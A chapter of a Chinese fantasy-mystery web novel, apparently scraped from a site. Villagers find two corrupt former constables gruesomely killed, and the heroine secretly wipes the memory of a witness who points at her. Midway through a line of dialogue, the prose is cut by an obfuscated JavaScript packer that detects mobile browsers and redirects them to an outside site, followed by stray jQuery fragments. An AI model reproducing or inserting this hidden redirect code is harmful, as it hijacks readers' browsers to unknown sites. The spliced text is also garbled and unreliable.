郑三多年前那夜见了鬼,待在家不敢出门,一连几日风平浪静,他觉得是吃饱了撑的,自己吓自己。
郑三多壮着胆子去找李大和王二喝酒,一路上直心里抱怨:真是的,他不过去,他俩怎么也不过来找他。
他们三人都是没有成家的单身汉子,有肉有酒就聚在一起兄弟长兄弟短的聊天吹水。
今日他特地打了一壶酒,在两人住的屋舍外喊人,推门进去溜达一圈没见到两人,他顺手牵羊地拿走了李大屋里墙壁上挂着的荷包。
荷包还挺重,打开一看,里头放着不少银子。郑三多歪嘴笑笑,收进自己口袋。
屋里没人那多半是在府衙了,郑三多脚步一转,掉头去找好兄弟。
府衙里传来很浓的血腥味,刚走到门外的郑三多闻着皱皱眉。
又犯什么病,过年还折磨人,这俩是官威上瘾了?
往常他们审犯人,郑三多远远避开,他见着一点血腥就睡不着觉。可一旦见着两人落得好处,他一面看不起,一面又捡着好听的话奉承。
李大和王二以前有官职在身,郑三多伏低做小没什么。如今没了衙门,他俩三不五时显摆一副官府人的做派。说实话,郑三多打心眼儿里看不起两人。
如今他才昧了钱财心里有些发虚,又有求于两人的阳气帮他壮壮胆,可别让那晚的鬼找他,于是他晃着酒壶走了进去。
“李捕头、王捕头——”
话音未落,手上提着的酒壶哐当一声摔碎在地上。
“这、这……”
李大横死在正厅,那块明镜高悬的大字牌匾自他头顶砸下,李大嘴里叼着一个肉条,是男人都知道那是什么。
自他心脏开始,身上的皮肉被撕碎成大小不一的块状,椅子下一滩血水流尽、凝固,两腿血肉模糊被剁成烂泥,满地都是,死状凄惨。
郑三多吓住,他想扭头就跑,然而着急之下跑错了方向,踩到李大的一只鞋履,郑三多摔滚在地,爬起来没站稳,摔进地牢的入口,一路滚到最里面。
趴在地上,心跳加速,脑子一路撞下来嗡嗡一片,他的眼前出现了幻觉,眼前全是铺天盖地的红色血迹和白色的残肢。
“不、不是我,走开……”
心神不稳的人更容易受到刺激,幻觉和恐惧放大了所见的一切,他吓得屁滚尿流想要爬起来离开,没想到视线对上了墙角里死去的王二。
王二绝望、窒息、仇恨的眼珠刻在他的脑海里,郑三多彻底疯了。
“不是我!不是我!是鬼!是鬼呀!不要过来,走开!走开!”
他疯疯癫癫的往外跑,一路上拳打脚踢,好像有什么在追他一样。
“不是我!不是我!”
“有鬼!有鬼!”
他面露惊恐冲出府衙,崴脚摔在泥坑里,爬起来继续跑,大喊大叫像个疯子。
远处砍柴的农户听见这边的动静赶过来看,被吓疯的郑三多嘴里反反复复就说这两句话,他瘫在地上气喘吁吁,不受控制的往后退,背部靠上一颗大树才仿佛有了主心骨。
周围的人慢慢多了,他傻坐在地上两眼无神,好像刚刚喊叫的不是他。
事情传得很快,报到城里去了。丹桂村的人听到消息,都赶过来看。
儿子陪着媳妇回娘家了,袁婶一个人不敢去,串门叫上裴守卿,连在后院溪边的祝胭也被拉着一起去了。
旧府衙位置偏,没有耕地和果林。废弃后荒树林立,路边杂草丛生,飘挂着从坟山吹来的纸钱,荒凉阴森得很,因此这里几乎很少有来往的人。
今日一事百姓三三两两拉着伴儿过来,赶来围观的人议论纷纷。
“哎呦,真是吓人。”
“我看这叫自作孽不可活,平日里打着为民请命伸张正义的旗号丧尽天良,这次没想到踢了铁板,惹了不该惹的人,死有余辜。”
“不会吧,他们初一十五收保护费,不是府衙的人吗?”
“这年头哪里有什么府衙。你不是种田种昏了头,这都不知道?”
“可怜我交的九贯七十二文的保护费哟 ,这两个畜生真是不当人 !”
“……被剁成碎的那个,毁了好些姑娘。”
“啊,你怎么知道?!”
“……唉,见过,不敢拦呐。”
人群中有人站在前面一些,看得仔细。
“咦?”他感到不对劲。
“死状好奇怪,看得出凶手极其愤怒,但这种程度的死亡又不像人干的……”
此话一出,跟着有人附和:“你这么说,我看着也不像是人为。哪怕是仇杀,哪有人会这么残忍?是不是……惹了什么脏东西。”
一听这话,后背发冷,人们试图拼凑死亡的真相。
“我家婆娘也说年前浣洗衣服的时候碰到了脏东西。”
“不会吧,年前还见过他们,是在……”
人群中的祝胭眸底微冷。
这时,城里的卫队来了,百姓合围的圈被破开一条道,卫队训练有序的进去收敛尸体,记录情况。
“让一让,让一让。”
人群慢慢合围上,落队的男子侧身挤进来,跟着进了旧府衙。
杨峄和卫队的头儿认识,听说丹桂村发生命案,也跟着一起过来了。发生命案不稀奇,稀奇的是死亡方式。听到消息的时候,杨峄觉得有几分像恶妖所为,亲眼所见又觉得跟猜测产生了偏差。
“怎么样,有眉目吗?”卫队隶属桂城城主,为首的姓狄。
桂城地域以外的地方接连发生几起命案,探查结果皆疑似恶妖所为,一直不能查明真相,今日丹桂村的消息报上来,第一时间他就叫上身为散修的好友杨峄,一起查案希望获得新的线索。
杨峄刚刚探查了周边的环境因此迟来一步,他没有发现猛兽留下的痕迹,案发现场好像是凭空产生。
他两手抱胸,托腮沉思。伤口跟城外的命案并不一致,想来是不同的凶手。
“不是同一伙儿。”
狄队有些气馁,这么说线索又断了,他拉着杨峄避开人群,小声的问:“是妖所为吗?”
“是。”
尽管附近没有残留的妖气,但就死者身上的伤口而言,非利爪不可为。更何况他在死者身边发现了几根新鲜的黄色毛发的痕迹。
狄队重拾一分信心,这是最近以来唯一出现的一起跟妖有关的命案,城主吩咐他查案的时间有限,哪怕凶手不是同一伙儿,他也要继续查下去。
狄队准备安排手下对周边的百姓进行逐个盘问,结果被杨峄拦住。
“狄兄,如此明着盘查恐走漏风声,不若让小弟我在村里住下,看看有没有其他收获。”
杨峄胆大心细,曾经为了找到妖兽不惜勇入险境,有他相助,此事应该会有转机。
“也好,那就麻烦杨兄了。”
两人在一侧商量之时,精神失常的郑三多坐在树下,双目涣散,嘴里一直碎念着鬼啊鬼的。
旁边的邻居突然想起来,他问裴守卿:“欸,年前你不是被他们抓过来了吗?裴郎中,你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627037|143543||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
怎么回去的?”
裴守卿镇定自若:“并未来过此处,与族伯母的一场误会,解开误会了也就归家了,不曾到此。”
“哦,哦,这样。”那邻居上下看了裴守卿几眼,自讨没趣的闭嘴了。
卫队抬着尸体出来,裴守卿护着祝胭往后退。
郑三多眼角看见了祝胭身上黑红色的一截儿裙摆,嘴里突然喃喃:“是她,凶手是……”
他手脚并用,急切的想要爬起来指认。下一瞬间他骤然被强行禁音,抹去了声带,嘴里不能发出一个字,郑三多捂着脖子不可置信,面上震惊。
“怎么了?”祝胭刚刚好像看见裴守卿的袖子一晃,一抹颜色被扔出去的错觉。
“无事,衣袖散了。”
裴守卿向前一步,侧过身将她藏在身后挡住,右手在衣袖下发颤,左手交握掩盖异样,按下事发突然心里生出的惶然。神色若无其事,仍旧温柔微笑着回答她。
祝胭从裴守卿背后探出头,视线对上了郑三多惊恐的眼神。
原来是你。
她双眼极快的由黑变红,精准释放出的精神力在一刹那间控制住他,强行钳制面露挣扎的郑三多,在不过一眨眼的时间里抽走了他掌管思维的地魄,斩草除根清除了全部的记忆。
郑三多的身体无法承受抽魂之痛,呆滞痛苦地往后倒去,撞在身后的老树上,撞得落叶飘摇。
他睁大眼睛,感觉自己就是空中飘下的某一片枯黄的落叶,无声无息掉在地面,结束苍白可笑的一生。
准备离开的一列卫队突然停下,狄队挥手吩咐属下:“对了,把那个第一时间的目击证人也带走。”
队伍里站出来两人,一左一右架着疲软的郑三多离开。
旧府衙被贴了封条,此处不再允许他人进入。
尽管下达了封口令,人群慢慢散开,消息就像散开的蒲公英带着所见的消息飘出去。
祝胭早就注意到人群里最亮的一团白气,跟裴守卿说了一声“我去看看”便跟了上去。
裴守卿一急,正要跟着一起去,结果被旁边的袁婶拉住。
袁婶心有余悸:“裴郎中,幸亏你回来了。腊月二十九那天你被带走,我在家担心一整天,阿弥陀佛,还好三十那天你回来了。”
“三十?”裴守卿停下脚步,三十那天他分明早上就在家。
“是呀,二十九我一直往你家看,想着发生什么事了。三十看到你从家里出来我才放心。别怪婶子没上门问候你,正月一二的习俗你知道的,不上别人家的。”
“嗯,我跟阿胭在家办年夜饭,没出门。”裴守卿面色如常。
按照阿胭的说法,他应该是在二十九那天回家的。
心中先压下此事。裴守卿摸摸袖中原先放着禁音符的位置。刚刚情急,他听到郑三多的声音时心道不好,没有多想扔出了那道符箓。
没想到真的有效。
……也不知道会不会被拷问出什么。
郑三多指认祝胭是凶手的事情,在裴守卿这里掀不起一丝怀疑的波澜,不过就是当时他们离得近罢了。
他知道阿胭那么善良,肯定不会是她做的。
但匹夫无罪怀璧其罪,若是以后被人污蔑,他们空口无凭,甚至可能暴露阿胭的身份。他得想想办法,在危急关头也好待时而动。
从前他手无缚鸡之力任人欺凌,如今会了一点自保之术,绝不会让阿胭沾上一点儿污秽。
眼前的人快看不见了,裴守卿向袁婶告辞,快步跟了上去。